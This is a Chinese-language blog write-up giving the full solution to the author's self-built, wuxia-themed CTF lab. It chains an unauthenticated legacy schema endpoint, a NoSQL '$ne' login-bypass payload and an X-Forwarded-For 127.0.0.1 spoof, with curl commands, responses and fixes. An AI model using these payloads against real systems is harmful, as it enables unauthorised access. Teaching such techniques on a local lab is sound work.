> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# 駭客盲盒 #002：聽雨樓夜信 — 雨門信了第一個謊 (自創靶機)
- URL: https://taiwanding.com/hai-ke-mang-he-002-ting-yu-lou-ye-xin-yu-men-xin-liao-di-yi-ge-huang-zi-chuang-ba-ji/
- Published: 2026-08-03T07:34:10.000Z
- Updated: 2026-08-28T08:36:03.000Z
- Author: Kevin Chen
- Tags: 自製靶機, 武俠, #vulnmachines, machine

📚 系列文章 · 駭客盲盒 · 自創靶機

1. [#001 雲海劍宗 — 我要掌門真傳](https://taiwanding.com/hai-ke-mang-he-001-yun-hai-jian-zong-yi-xing-sourcemappingurl-huan-yi-juan-zhang-men-zhen-chuan/)
2. ▸ #002 聽雨樓夜信 — 雨門信了第一個謊 （本篇）
3. [#003 無燈城英雄帖 — 夜印從來不是通行證](https://taiwanding.com/hai-ke-mang-he-003-wu-deng-cheng-ying-xiong-tie-ye-yin-cong-lai-bu-shi-tong-xing-zheng-zi-chuang-ba-ji/)

🚩 這台靶機現在可以直接打

靶機已上架 肉's CTF，本文是完整通關解法——先去抓 flag，再回來對答案。

[前往 肉's CTF 開打 →](https://ctf.taiwanding.com/challenges?ref=taiwanding.com)

免費遊玩、免安裝，開瀏覽器就能打，題目持續增加中。

> 難度：Easy\~Medium

## 序：這一盒裝了什麼

這是「駭客盲盒」系列的第二盒，也是《雲海劍宗》章回的第二章，一樣經 codex 檢查過，歡迎下載遊玩\~

[hacker-blindbox-004-yunhai-listening-rain-innhacker-blindbox-004-yunhai-listening-rain-inn.zip20 KBdownload-circle](https://taiwanding.com/content/files/2026/08/hacker-blindbox-004-yunhai-listening-rain-inn.zip "Download")

第一章沈小石讀到了掌門真傳，密卷背面卻在雨夜浮出一行淡墨：「若鐘止於子時，往山下聽雨樓，查我未歸之夜。」這一盒要闖的，是一間掌櫃笑容周到、眼神卻始終避開帳簿的客棧。

一樣走兩條線，**解題的部分用「我們」**，一步一步把路走完；**設計的部分切回「我」**，聊聊每個機關當初為什麼那樣擺。沒玩過的人，讀完「環境架設」就可以先關掉這篇。

## 一、環境架設

```bash
unzip hacker-blindbox-004-yunhai-listening-rain-inn.zip
cd yunhai-listening-rain-inn-box-004
docker compose up --build -d

```

跑起來後開瀏覽器：

```
http://127.0.0.1:8090/

```

**今夜規矩**（沿用盒內說明）：

1. 目標僅限本機聽雨樓。
2. 不需暴力破解或大量猜測。
3. 先理解正常帳頁，再追查異常。
4. 所有關鍵線索皆可由玩家取得。

> 第三條是這盒的主線指示，不是客套話。  
>  
> 第一章可以直接爆目錄撿線索，這一章不行——你得先用公開帳號登入一次，看懂回應長什麼樣，才知道後面哪裡不對勁，我刻意把帳密直接印在表單的 `value` 裡，就是要玩家別把時間花在「怎麼進去」，而是花在「進去之後看到什麼」。

## 二、正常投宿：先看懂帳頁

首頁的投宿表單已經填好了：`shen-xiaoshi` / `cloud-scroll-17`，先照規矩登入一次。

翻 `/static/ledger.js` 可以看到它打哪支 API、送什麼欄位：

```bash
curl -sS http://127.0.0.1:8090/static/ledger.js -o ledger.js
grep -Ein 'fetch|body:' ledger.js

```

```javascript
87:      const response = await fetch("/api/ledger/login", {
93:        body: JSON.stringify({ alias: username, seal: password }),

```

欄位不叫 `username` / `password`，而是 **`alias` / `seal`**，照這個格式打：

```bash
curl -sS -X POST http://127.0.0.1:8090/api/ledger/login \
  -H 'Content-Type: application/json' \
  -d '{"alias":"shen-xiaoshi","seal":"cloud-scroll-17"}' | python3 -m json.tool

```

```json
{
  "expires_in": 7200,
  "notes": ["...", "...", "..."],
  "profile": {
    "alias": "shen-xiaoshi",
    "display_name": "沈小石",
    "role": "traveler"
  },
  "session": "eyJhbGciOiJIUzI1NiIsInR5cCI6IlNFU1NJT04ifQ...",
  "token_type": "Bearer"
}

```

`role: traveler`，又是權限欄位，但這次跟第一章不同：**密鑰沒有洩漏在任何地方**，自簽那條路走不通，我們得讓伺服器主動發一張更高權限的令牌出來。

而三行 `notes` 就是這一章的路標：

> **一**：你以清水拂過第一章密卷背面，淡墨浮出：『掌門未亡，藏經閣之夜另有隱情。』 **二**：第二行只寫著：『去查驛使舊名冊。那套批次匯入規矩，總會挑中第一個相合之人。』 **三**：末行被雨水暈開，只剩一句：『莫只看門前之人，要聽雨門以為誰走在最前。』

第二行是機制說明書，第三行是最後一關的伏筆，先處理第二行。

> 三行 notes 我寫得很克制：**只講機制，不講答案。**  
>  
> 「總會挑中第一個相合之人」告訴你系統怎麼運作，但沒告訴你要送什麼 payload；「聽雨門以為誰走在最前」點出信任的位置，但沒說那個 header 叫什麼，中間那段推理留給玩家，這是我覺得提示該有的分寸——線索的作用是把搜尋空間收窄，不是把答案送到嘴邊。

## 三、掌櫃碎念：欄位不只收文字

首頁側欄釘著一張紙條：

> 「掌櫃說舊帳簿有些欄位不只收文字；前端早已不用，規格卻沒收回。」

拆成兩句：

- **「不只收文字」** → 某個欄位除了 string，還吃別的型別
- **「前端早已不用，規格卻沒收回」** → 有個廢棄但未移除的介面還活著

而 `ledger.js` 裡有一行剛好呼應：

```javascript
if (notes && typeof notes === "object") return JSON.stringify(notes, null, 2);

```

前端保留著處理 object 型別的邏輯，代表這個系統確實有非字串型別在流動。

先試試看送非字串進去會怎樣：

```bash
API=http://127.0.0.1:8090/api/ledger/login
H='Content-Type: application/json'
curl -sS -X POST $API -H "$H" -d '{"alias":"shen-xiaoshi","seal":{}}'

```

```json
{"error":"unsupported_matcher"}

```

**這個錯誤訊息是好消息，它不是「暗語錯誤」，也不是「型別錯誤」，而是「不支援的匹配器**」——代表後端確實有一套 matcher 機制，只是我送的它不認得。

這時候直覺會想套 MongoDB 那套 `{"$ne": null}`，但一樣被擋，方向對了，語法不對。

> 我很喜歡 `unsupported_matcher` 這個回應，它同時做兩件事：擋掉錯的 payload，又告訴你「matcher 這條路是對的」。  
>  
> 如果這裡回的是一句籠統的「登入失敗」，玩家會以為型別這條路死了而放棄。錯誤訊息的顆粒度是出題時很重要的旋鈕——太粗玩家迷路，太細等於直接給答案。

## 四、ledger.js 裡的舊註解

猜語法不如去讀規格。139 行的 JS 不長，直接整份看：

```bash
grep -vE '^\s*$' ledger.js | head -20

```

檔案開頭躺著這段：

```javascript
// 舊版帳簿相容備註：早期客戶端會先以 GET /api/ledger/schema
// 查詢 JSON 格式的帳簿欄位規格。新版表單已固定欄位，但客棧仍保留該公開規格供舊客端使用。

```

**「前端早已不用，規格卻沒收回」**，字面上就是這個。

## 五、讀規格：驛使舊名冊

```bash
curl -sS http://127.0.0.1:8090/api/ledger/schema | python3 -m json.tool

```

```json
{
  "title": "驛使舊名冊批次匯入規格",
  "endpoint": { "method": "POST", "path": "/api/ledger/login" },
  "fields": {
    "alias": {
      "accepted": ["string", "matcher"],
      "string": "與名冊 alias 精確相等",
      "matcher": { "$ne": "值必須是 string；名冊值不等於該字串時即符合" }
    },
    "seal": { "...同上..." }
  },
  "legacy_rule": "批次匯入沿用舊式 matcher；名冊依原始順序查詢，first match wins。",
  "selection": "兩個欄位皆符合時選取該筆；若多筆符合，回傳第一筆。"
}

```

規格把兩件事說得清清楚楚：

1. `$ne` 的**值必須是 string**（所以剛才 `$ne: null` 才被擋）
2. **first match wins**，多筆符合時回傳第一筆

這兩條加起來就是完整的利用條件。

## 六、First match wins：撈出夜行使者

構造一個「所有人都符合」的條件——`$ne` 一個名冊裡不存在的字串：

```bash
curl -sS -X POST $API -H "$H" \
  -d '{"alias":{"$ne":"__nobody__"},"seal":{"$ne":"__nobody__"}}' \
  | python3 -m json.tool

```

```json
{
  "profile": {
    "alias": "night-courier",
    "display_name": "夜行使者",
    "role": "courier"
  },
  "session": "eyJhbGciOiJIUzI1NiIsInR5cCI6IlNFU1NJT04ifQ..."
}

```

**沒有密碼，直接換到 `courier` 身分。**

重點在於：我從「提供答案」變成了「定義題目」，原本登入要我證明我知道 seal，現在我改成描述一個所有人都滿足的條件——seal 從頭到尾沒被驗證過，因為我根本沒宣稱要驗證它。

而夜行使者的 notes 直接把最後一關的規格寫死：

> **一**：夜雨急令：最終傳令處為 `/internal/moon-gate/dispatch`， **二**：攜帶本次登入取得的 session，置於 `Authorization: Bearer <session>`。 **三**：雨門守衛信任 X-Forwarded-For 中第一個逗號前的地址，且只准 127.0.0.1 通行。

> 為什麼是「夜行使者」而不是隨便一個人？因為 **first match wins 撈到的永遠是名冊第一筆**，而我把 courier 放在第一筆，正是要重現真實世界最常見的樣子——初始 seed data 裡的特權帳號永遠排在最前面。  
>  
> 這也是為什麼我覺得 first-match-wins 比 matcher 本身更危險，「查到多筆」在登入的語意裡本該是錯誤狀態，因為登入就是要唯一識別一個人，回傳第一筆，等於把不確定性當成了正常流程。

## 七、雨門信了第一個謊

先看不帶任何 header 時擋在哪：

```bash
S='<夜行使者的 session>'
D=http://127.0.0.1:8090/internal/moon-gate/dispatch
curl -sSi -H "Authorization: Bearer $S" $D

```

```json
{"error":"rain_gate_denied"}

```

`RainGate` 只讀 XFF 的第一段，而 XFF 的第一段是客戶端可控的：

```bash
curl -sSi -H "Authorization: Bearer $S" \
  -H 'X-Forwarded-For: 127.0.0.1, 203.0.113.9' $D

```

```http
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8

```

雨門開了。

這裡值得停一下講原理，X-Forwarded-For 本來的用途是：請求經過反向代理時，後端看到的來源 IP 會變成代理的 IP，真實使用者的 IP 就丟失了，所以代理會把它記在這個 header 裡，每經過一層就往後追加一個：

```
X-Forwarded-For: <真實client>, <proxy1>, <proxy2>

```

所以第一段「理論上」是最原始的客戶端，**問題就在「理論上」**——這個 header 是純文字，沒有簽章、沒有驗證。如果請求根本沒經過代理，那第一段就是使用者自己編的：

```
X-Forwarded-For: 127.0.0.1, 203.0.113.9
                 ↑ 我編的      ↑ 也是我編的

```

正確做法是**反過來讀**：你信任的是自己部署的那幾層代理，所以要從 XFF 的右邊往左數，跳過已知可信的代理數量再取值，或者更乾脆，用代理自己寫入、且在入口就清掉同名輸入的 header。

## 八、完整攻擊鏈

```
公開帳號登入 (shen-xiaoshi / traveler)
   │  notes：「批次匯入規矩，總會挑中第一個相合之人」
   ▼
ledger.js 註解 → GET /api/ledger/schema（廢棄但仍公開）
   │  規格明載：alias/seal 接受 matcher，$ne 值須為 string
   │           名冊依原始順序查詢，first match wins
   ▼
{"alias":{"$ne":"__nobody__"},"seal":{"$ne":"__nobody__"}}
   │  → 匹配所有人 → 回傳名冊第一筆 = night-courier (role: courier)
   ▼
courier 的 notes 洩漏 /internal/moon-gate/dispatch + XFF 規則
   │
   ▼
X-Forwarded-For: 127.0.0.1, 203.0.113.9
   │  RainGate 只看第一個逗號前的地址
   ▼
🚩 flag

```

## 九、漏洞剖析：三層疊加

第一章是兩層相乘，這一章是三層。分開看，每一層的嚴重性都有限。

### 第一層：廢棄端點未下線

`/api/ledger/schema` 是舊客戶端用的規格查詢，新版前端早就不呼叫了，但路由還在，而且不需要任何驗證。

它本身不造成危害——只是一份欄位說明，但它把攻擊者原本要盲猜的東西（matcher 語法、`$ne` 的值型別限制、first-match-wins 行為）全部端上桌，**資訊洩漏的危險程度，取決於它省下了攻擊者多少時間。**

現實中同構的東西太多了：忘了關的 `/swagger.json`、`/graphql` 的 introspection、debug 用的 `/actuator/env`、舊版 API 的 `/v1/` 路徑，功能下線了，路由沒下線。

### 第二層：型別混淆 + first match wins

後端期待 string，但語言允許 object，而查詢層對 object 有特殊解讀——這就是 NoSQL injection 的本質，MongoDB 的查詢本身就是 JSON 物件，如果直接把 `req.body.password` 塞進 `findOne({password: ...})`，送 `{"$ne": null}` 就繞過了。Express 的 body-parser 甚至會把 `password[$ne]=1` 這種 query string 自動解析成巢狀物件，連 JSON 都不用送。

而 first match wins 是放大器，單靠型別混淆，你只會拿到「某一個人」；加上「多筆符合時回傳第一筆」，你拿到的是**建立最早的帳號**——在多數系統裡，那就是 admin 或初始化匯入的特權帳號。

### 第三層：信任客戶端可控的 header

XFF 的問題前面講過了，這裡只補一句：這個病根的變體超多——`X-Real-IP`、`X-Client-IP`、`X-Originating-IP`、`Forwarded`、`CF-Connecting-IP`。繞 IP 白名單、繞 rate limiting、偽造稽核日誌的來源，全是同一回事。

> 我把三層疊起來，是因為**這才是真實滲透測試的樣子。**  
>  
> 單一 Critical 漏洞其實不多，大部分報告都是三四個 Low/Medium 串成一條攻擊鏈，而防守方最容易犯的錯，就是看到 P4 就關掉不修——「schema 只是說明文件」「first match wins 只是實作細節」「XFF 反正前面有 WAF」——直到有人把它們接起來。  
>  
> 第一章我想教的是「讀」，這一章我想教的是「串」。

## 結語

這一盒的每一步都寫在明面上：帳密印在表單裡、機制寫在 notes 裡、語法列在 schema 裡、信任規則甚至直接告訴你是 XFF 第一段。

沒有一個環節需要爆破，但整條鏈得自己接。

雨門之後是荒廢驛站，掌門的手書指向一座終年不點燈火的邊城，第三章「無燈城」，月圓前見。

*本文為自製靶機 writeup，靶機僅供本地學習使用，請勿將文中技巧用於未經授權的目標。*